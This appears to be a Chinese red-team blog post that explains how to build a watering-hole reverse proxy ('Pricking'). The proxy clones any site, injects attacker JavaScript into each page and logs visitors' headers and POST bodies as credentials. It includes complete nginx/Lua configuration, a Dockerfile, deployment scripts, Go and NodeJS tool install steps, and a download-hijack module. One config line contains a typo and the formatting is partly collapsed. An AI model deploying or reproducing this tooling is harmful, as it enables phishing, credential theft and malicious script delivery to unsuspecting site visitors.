0x00 前言
0x01 实现目标
-
支持快速部署
-
完美克隆任意网站
-
可扩展的模块(受害者执行)
-
收集所有凭证(除了Cookie还有POST数据)
0x02 Nginx实现 - 快速部署与完美克隆
docker pull openresty/openresty:alpine
OpenResty配置文件
-
/etc/nginx/conf.d
-
/usr/local/openresty/nginx/conf/nginx.conf
OpenResty - Lua Ngx API
*_by_lua
,*_by_lua_block
和*_by_lua_file
来引入Lua代码。nginx.conf
简单实例:worker_processes 1;
error_log logs/error.log error; # 日志级别
events {
worker_connections 1024;
}
http {
server {
listen 80;
location / {
content_by_lua_block {
ngx.say("Hello,Rvn0xsy");
}
}
}
}
nginx.conf
作为配置文件启动的话,访问网站会输出Hello,Rvn0xsy
。Lua Ngx API - Block
Hello,Rvn0xsy
例子,就是通过content_by_lua_block
这个环节对响应内容进行修改。-
header_filter_by_lua_block 用于修改响应头
-
body_filter_by_lua_block 用于修改响应内容,注入JS
-
log_by_lua_block 用于记录请求日志或凭证
Nginx 反向代理配置
location /some/path/ {
proxy_pass http://www.example.com/link/;
}
location
用于做URI匹配,当访问到/some/path/
这个路径时,Nginx就代表客户端去访问http://www.example.com/link/
,整个过程对客户端是完全透明的。location / {
proxy_pass http://www.example.com/link/;
}
http://www.example.com/link/
。worker_processes 1;
error_log logs/error.log error; # 日志级别
events {
worker_connections 1024;
}
http {
server {
listen 80;
server_name example-1.com;
location / {
proxy_pass http://www.example.com/link/;
proxt_set_header Host www.example.com;
proxt_set_header Referer http://www.example.com/link/;
}
}
}
注入模块化的Evil JS
body_filter_by_lua_block
可以对网站内容进行修改,利用好这个功能,就能将JS文件引入到页面中。header_filter_by_lua_block { ngx.header.content_length = nil}
body_filter_by_lua_block{
local chunk, eof = ngx.arg[1], ngx.arg[2]
local buffered = ngx.ctx.buffered
if not buffered then
buffered = {}
ngx.ctx.buffered = buffered
end
if chunk ~= "" then
buffered[#buffered + 1] = chunk
ngx.arg[1] = nil
end
if eof then
local whole = table.concat(buffered)
ngx.ctx.buffered = nil
whole = whole .. "<script src='/7276df76835ed2272cc0e59f55e49902/static.js' type='module'></script>"
ngx.arg[1] = whole
end
}
header_filter_by_lua_block
将Content-Length
进行清空,因为修改后,Content-Length
的大小一定是改变的。使用ES6+标准将JS模块化
<script src='/7276df76835ed2272cc0e59f55e49902/static.js' type='module'></script>
static.js
就是引入的Evil JS,添加了type='module'
是为了启用ES6+标准。7276df76835ed2272cc0e59f55e49902
其实是一个虚拟的目录,通过location
映射即可。location ^~ /7276df76835ed2272cc0e59f55e49902/ { alias /tmp/pricking/static/;}
Nginx - 记录日志或凭证
log_by_lua_block
是最后一个流程,可以把一些数据进行收集,写入日志文件。...
http {
....
log_format logeverything '$current_time - $remote_addr n$request_headers nn$request_bodyn';
server {
set $request_headers "";
set $current_time "";
....
location / {
...
log_by_lua_block {
ngx.var.current_time = ngx.localtime()
ngx.var.request_headers = ngx.req.raw_header()
}
}
access_log /tmp/pricking/access.log logeverything;
}
}
ngx.localtime()
和ngx.req.raw_header()
是调用了Lua Ngx API。Nginx - 最终配置
worker_processes 1;events { worker_connections 1024;}http { include mime.types; default_type application/octet-stream; sendfile on; log_format logeverything '$current_time - $remote_addr n$request_headers nn$request_bodyn'; server { set $request_headers ""; set $current_time ""; server_name proxy.payloads.online; listen 80; location ^~ /7276df76835ed2272cc0e59f55e49902/ { alias /tmp/pricking/static/; } location / { proxy_pass http://payloads.online; proxy_set_header Host payloads.online; header_filter_by_lua_block { ngx.header.content_length = nil} body_filter_by_lua_block{ local chunk, eof = ngx.arg[1], ngx.arg[2] local buffered = ngx.ctx.buffered if not buffered then buffered = {} ngx.ctx.buffered = buffered end if chunk ~= "" then buffered[#buffered + 1] = chunk ngx.arg[1] = nil end if eof then local whole = table.concat(buffered) ngx.ctx.buffered = nil whole = whole .. "<script src='/7276df76835ed2272cc0e59f55e49902/static.js' type='module'></script>" ngx.arg[1] = whole end } log_by_lua_block { ngx.var.current_time = ngx.localtime() ngx.var.request_headers = ngx.req.raw_header() } } access_log /tmp/pricking/access.log logeverything; }}
Nginx - Dockerfile编写
FROM openresty/openresty:alpineENV PROXY_PASS_HOST www.baidu-proxy.com # 自己的域名ENV PROXY_SOURCE_HOST www.baidu.com # 要克隆的域名ENV NGINX_LISTEN_PORT 80 # 监听端口,不建议改动ENV EVIL_JS_URI b026324c6904b2a9cb4b88d6d61c81d1 # JS虚拟目录名称WORKDIR /tmp/COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.confCOPY docker-entrypoint.sh /tmp/docker-entrypoint.shRUN mkdir -p /tmp/pricking/static/ && chmod +x /tmp/docker-entrypoint.shENTRYPOINT ["/tmp/docker-entrypoint.sh"]
#!/bin/shecho "[+] Replace evil js URI..."sed -e 's/7276df76835ed2272cc0e59f55e49902/b026324c6904b2a9cb4b88d6d61c81d1/' -e "18s/proxy.payloads.online/$PROXY_PASS_HOST/g" -e "27s/payloads.online/$PROXY_SOURCE_HOST/g" -e "28s/payloads.online/$PROXY_SOURCE_HOST/g" -e "19s/80/$NGINX_LISTEN_PORT/g" /usr/local/openresty/nginx/conf/nginx.conf > /usr/local/openresty/nginx/conf/nginx.conf.newmv /usr/local/openresty/nginx/conf/nginx.conf.new /usr/local/openresty/nginx/conf/nginx.confecho "[+] Replace server name : $PROXY_PASS_HOST"echo "[+] Listen PORT : $NGINX_LISTEN_PORT"echo "[+] Proxy Pass Host : $PROXY_SOURCE_HOST"echo "[+] Evil js URL : $PROXY_PASS_HOST/$EVIL_JS_URI/static.js"/usr/local/openresty/nginx/sbin/nginx -g "daemon off;" -c /usr/local/openresty/nginx/conf/nginx.conf
Nginx - docker-compose
0x03 Golang实现 - 快速部署与完美克隆
通过Google搜索“Golang http reverse proxy”发现,官方在标准库中已经包含了实现反向代理的代码:ReverseProxy
示例代码:Simple and Powerful ReverseProxy in Go
创建一个简单的反向代理服务器只需要少量的代码,而且还不需要处理HTTPS证书问题:
我记得以前国内在Google被墙了后,出现了许多Google镜像网站,其实背后的原理也都是反向代理技术,只不过实现的语言不一样罢了。
修改响应内容
httputil.NewSingleHostReverseProxy
用来初始化一个结构体代理对象,结构体内有以下几个属性:
其中ModifyResponse
是用来修改Response的,Response中包含了响应头和响应内容。
Pricking的实现方式:
handler.modifyResponse
中主要进行对响应内容的处理,比如注入js、修改响应头等操作。
modifyResponse
传入的是http.Response
对象,如果要修改除Header
以外的数据,需要对Response.body
进行读取,修改完毕后,再重新赋值Response.body
:
Pricking 使用
有Go语言环境 - 本地编译:
clone https://github.com/Rvn0xsy/Pricking$ cd Pricking$ make git
$ go install -v github.com/Rvn0xsy/Pricking/cmd/pricking@latest
-
反向代理服务器:MacOS 64Bit 192.168.117.1
-
目标域名:https://payloads.online
启动Pricking,确保配置文件、Static在当前目录:
代理效果:
查看页面底部:
代码已经成功注入,static.js中的代码就是用于引用Pricking Js Suite的内容进行加载执行。
0x04 NodeJS实现 - 快速部署与完美克隆
Pricking-node 实现效果与Pricking类似,但我感觉JS好像更加简洁、方便,因此对照http-proxy-middleware模块编写了一个反向代理脚本。
通过onProxyRes属性可以定义针对Response的修改动作。
Pricking-node 使用
$ npm install -g express
$ npm install -g http-proxy-middleware
$ git clone https://github.com/Rvn0xsy/Pricking-node.git
$ cd Pricking-node
$ node proxy.js
可以通过环境变量改变默认值:
劫持Flash下载
劫持Flash的代码已经提交到pricking-js-suite,在这里我演示一下:
将flash模块启用:
访问: http://localhost:3000 点击立即下载将会触发js代码。
flash模块的代码如下:
console.log("Loaded flash.cn Module ...");
export function Download() {
var loadLink = document.getElementsByClassName("loadLink");
loadLink[0].classList.remove("disable")
loadLink[0].addEventListener('click',function(){
alert("Hello Pricking!!");
},false)
}
-
Go语言版本:Pricking https://github.com/Rvn0xsy/Pricking -
NodeJS版本:Pricking-node https://github.com/Rvn0xsy/Pricking-node
参考
-
https://github.com/openresty/docker-openresty
-
https://openresty-reference.readthedocs.io/en/latest/Lua_Nginx_API/
-
https://docs.nginx.com/nginx/admin-guide/web-server/reverse-proxy/
-
https://www.freecodecamp.org/news/learn-modern-javascript/
-
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import
-
https://blog.joshsoftware.com/2021/05/25/simple-and-powerful-reverseproxy-in-go/
-
https://www.npmjs.com/package/http-proxy-middleware
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):红队技巧:基于反向代理的水坑攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论